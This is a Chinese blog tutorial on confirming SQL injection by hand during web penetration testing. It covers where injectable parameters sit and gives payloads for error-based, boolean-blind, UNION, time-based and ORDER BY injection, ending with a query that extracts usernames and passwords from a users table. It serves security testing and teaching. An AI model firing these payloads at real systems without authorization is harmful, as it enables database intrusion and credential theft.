WEB渗透测试流程中,初期工作是进行信息收集,完成信息收集之后,就会进行漏洞测试、确认,WEB接口里存在SQL注入的参数一般在下面三大类里:

  • Get参数
  • POST参数
  • Request Headers(比如Cookie参数)
    • User-Agent
    • Cookie
    • X-Forwarded-For

Rerferer

寻找SQL注入有采用自动化工具和手工测试两个方法,下面介绍使用手工的方法,来确认一个参数是否存在SQL注入。

一般以一个id类参数进行确认:

报错注入	id=1' AND updatexml(1, concat(0x7e, version()), 1) --

布尔盲注	
真条件:id=1' AND 1=1 --
假条件:id=1' AND 1=2 --

联合查询注入	
先猜列数:id=1' ORDER BY 5 --
再构造联合:id=-1' UNION SELECT 1,2,3 --

1. ORDER BY N递增测试,直到页面出错,确定列数。
2. 看联合查询后,页面中是否“浮现”出我们SELECT的数字(如2出现在网页某个位置)。如果出现,则确认漏洞且可直接回显数据。


时间盲注	id=1' AND SLEEP(5) --

下面是猜测注入的SQL点位置,在根据不同的位置,进行SQL注入语句构造:


WHERE子句后面的注入点

随便写参数id = xx,套用上面的标准流程就行。


order by

测试方法:

数字试探法:尝试 ?sort=1,然后 ?sort=2。观察页面顺序是否改变。这是最基础的识别。

布尔盲注:这是最主要的技术,因为 ORDER BY 后的子句通常不能直接联合查询。利用条件语句判断:

?sort=(CASE WHEN (1=1) THEN price ELSE date END) —— 页面按 price 正常排序。

?sort=(CASE WHEN (1=2) THEN price ELSE date END) —— 页面按 date 排序。若两者排序结果不同,则证实存在注入并可进行盲注。

报错注入:尝试触发数据库错误:

?sort=updatexml(1, concat(0x7e, version()), 1) (适用于MySQL)

若页面返回数据库错误信息,则证实存在注入并可利用报错快速获取数据。


union

测试方法(标准化流程):

判断列数(前置步骤):

使用 ORDER BY 猜解:?id=1 ORDER BY 1--,递增数字直到页面出错。

使用 UNION SELECT NULL:?id=-1 UNION SELECT NULL, NULL, NULL--,增减 NULL 数量直到页面正常。

探测回显点:确定列数后(例如3列),用有效数据替换 NULL 找出显示位:?id=-1 UNION SELECT 'test1', 'test2', 'test3'--,观察页面何处出现 test1 等字符串。

利用回显点查询数据:将显示位替换为目标查询:?id=-1 UNION SELECT username, password, NULL FROM users--

盲注备用:若 UNION 无回显,则需转为布尔盲注或时间盲注。

posted on 2021-02-13 23:25  Mysticbinary  阅读(419)  评论(0)    收藏  举报